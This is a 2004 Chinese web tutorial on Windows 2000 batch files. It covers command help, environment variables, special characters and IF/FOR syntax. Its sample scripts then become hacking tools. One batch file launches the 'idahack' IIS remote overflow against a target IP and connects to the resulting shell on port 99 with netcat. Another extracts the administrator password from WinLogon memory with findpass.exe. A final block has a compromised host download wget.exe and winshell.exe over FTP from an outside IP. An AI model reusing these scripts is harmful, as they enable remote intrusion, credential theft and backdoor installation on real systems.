您的位置:首页精文荟萃软件资讯 → win2k下的批处理BAT文件运用

win2k下的批处理BAT文件运用

时间:2004/10/7 19:05:00来源:本站整理作者:蓝点我要评论(0)

 1. 所有内置命令的帮助信息 
2. 环境变量的概念 
3. 内置的特殊符号(实际使用中间注意避开) 
4. 简单批处理文件概念 
5. 附件1 tmp.txt 
6. 附件2 sample.bat 

###################################################################### 
1. 所有内置命令的帮助信息 
###################################################################### 
ver 
cmd /? 
set /? 
rem /? 
if /? 
echo /? 
goto /? 
for /? 
shift /? 
call /? 
其他需要的常用命令 
type /? 
find /? 
findstr /? 
copy /? 
______________________________________________________________________ 
下面将所有上面的帮助输出到一个文件 
echo ver >tmp.txt 
ver >>tmp.txt 
echo cmd /? >>tmp.txt 
cmd /? >>tmp.txt 
echo rem /? >>tmp.txt 
rem /? >>tmp.txt 
echo if /? >>tmp.txt 
if /? >>tmp.txt 
echo goto /? >>tmp.txt 
goto /? >>tmp.txt 
echo for /? >>tmp.txt 
for /? >>tmp.txt 
echo shift /? >>tmp.txt 
shift /? >>tmp.txt 
echo call /? >>tmp.txt 
call /? >>tmp.txt 
echo type /? >>tmp.txt 
type /? >>tmp.txt 
echo find /? >>tmp.txt 
find /? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
echo copy /? >>tmp.txt 
copy /? >>tmp.txt 
type tmp.txt 
______________________________________________________ 

###################################################################### 
2. 环境变量的概念 
###################################################################### 
_____________________________________________________________________________ 
C:\Program Files>set 
ALLUSERSPROFILE=C:\Documents and Settings\All Users 
CommonProgramFiles=C:\Program Files\Common Files 
COMPUTERNAME=FIRST 
ComSpec=C:\WINNT\system32\cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:\WINNT\system32\os2\dll; 
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM 
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH 
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:\Program Files 
PROMPT=$P$G 
SystemDrive=C: 
SystemRoot=C:\WINNT 
TEMP=C:\WINNT\TEMP 
TMP=C:\WINNT\TEMP 
USERPROFILE=C:\Documents and Settings\Default User 
windir=C:\WINNT 
_____________________________________________________________________________ 

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到. 
语法: copy mychenxu.exe %windir%\system32\. 
使用点(.) 便于一目了然 
对环境变量的引用使用(英文模式,半角)双引号 
%windir% 变量 
%%windir%% 二次变量引用. 
我们常用的还有 
%temp% 临时文件目录 
%windir% 系统目录 
%errorlevel% 退出代码 

输出文件到临时文件目录里面.这样便于当前目录整洁. 

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 
C:\>dir p* 
C:\ 的目录 
2000-09-02 11:47 2,164 PDOS.DEF 
1999-01-03 00:47  Program Files 
1 个文件 2,164 字节 
1 个目录 1,505,997,824 可用字节 

C:\>cd pro* 
C:\Program Files> 

C:\> 
C:\>cd "Program Files" 
C:\Program Files> 


###################################################################### 
3. 内置的特殊符号(实际使用中间注意避开) 
###################################################################### 
微软里面内置了下列字符不能够在创建的文件名中间使用 
con nul aux \ / | || && ^ > < * 

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: 
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) 
To create the variable value new&name, type: 
set varname=new^&name 

To create the variable value "new&name", type: 
set varname="new&name" 

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. 

find "Pacific Rim" < trade.txt > nwtrade.txt 
IF EXIST filename. (del filename.) ELSE echo filename. missing 

> 创建一个文件 
>> 追加到一个文件后面 
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb 
echo 123456 ^> aaa 
echo 1231231 > bbb 
() 包含命令 
(echo aa & echo bb) 
, 和空格一样的缺省分隔符号. 
; 注释,表示后面为注释 
: 标号作用 
| 管道操作 
& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 
用这种方法可以同时执行多条命令,而不管命令是否执行成功 
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe 
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; 
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; 

常用语法格式 
IF [NOT] ERRORLEVEL number command para1 para2 
IF [NOT] string1==string2 command para1 para2 
IF [NOT] EXIST filename command para1 para2 

IF EXIST filename command para1 para2 
IF NOT EXIST filename command para1 para2 
IF "%1"=="" goto END 
IF "%1"=="net" goto NET 
IF NOT "%2"=="net" goto OTHER 
IF ERRORLEVEL 1 command para1 para2 
IF NOT ERRORLEVEL 1 command para1 para2 
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 
按照字母顺序 ijklmnopq依次取参数. 
eol=c - 指一个行注释字符的结尾(就一个) 
skip=n - 指在文件开始时忽略的行数。 
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 


###################################################################### 
4. 简单批处理文件概念 
###################################################################### 

echo This is test > a.txt 
type a.txt 
echo This is test 11111 >> a.txt 
type a.txt 
echo This is test 22222 > a.txt 
type a.txt 
第二个echo是追加 
第三个echo将清空a.txt 重新创建 a.txt 

netstat -n | find "3389" 
这个将要列出所有连接3389的用户的ip. 

________________test.bat___________________________________________________ 
@echo please care 
echo plese care 1111 
echo plese care 2222 
echo plese care 3333 
@echo please care 
@echo plese care 1111 
@echo plese care 2222 
@echo plese care 3333 
rem 不显示注释语句,本行显示 
@rem 不显示注释语句,本行不显示 
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) 
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) 
___________________________________________________________________________ 

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. 

___________________ida.bat_________________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe" 
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe" 

@if "%1" =="" goto USAGE 
@if NOT "%2" =="" goto SP2 

tart 
@echo Now start ... 
@ping %1 
@echo chinese win2k:1 sp1:2 sp2:3 
idahack.exe %1 80 1 99 >%temp%\_tmp 
@echo "prog exit code [%errorlevel%] idahack.exe" 
@type %temp%\_tmp 
@find "good luck " %temp%\_tmp 
@echo "prog exit code [%errorlevel%] find [goog luck]" 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 

P2 
@idahack.exe %1 80 %2 99 %temp%\_tmp 
@type %temp%\_tmp 
@find "good luck " %temp%\_tmp 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 

:USAGE 
@echo Example: ida.bat IP 
@echo Example: ida.bat IP (2,3) 

:END 
_____________________ida.bat__END_________________________________ 

下面我们再来第二个文件.就是得到administrator的口令. 
大多数人说得不到.其实是自己的没有输入正确的信息. 

___________________________fpass.bat____________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe" 
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe" 

@echo start.... 
@echo ____________________________________ 
@if "%1"=="" goto USAGE 
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt 
@echo "prog exit code [%errorlevel%] findpass.exe" 
@type %temp%\_findpass.txt 
@echo ________________________________Here__pass★★★★★★★★ 
@ipconfig /all >>%temp%\_findpass.txt 
@goto END 

:USAGE 
@pulist.exe >%temp%\_pass.txt 
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt 
@echo "Example: fpass.bat %1 %2 %3 %4 !!!" 
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" 

:END 
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " 
@echo " fpass.bat end [%errorlevel%] !" 
_________________fpass.bat___END___________________________________________________________ 

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! 

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w 

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3

最新文章 微信3.6.0测试版更新了微信支付漏洞会造成哪 360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗

人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本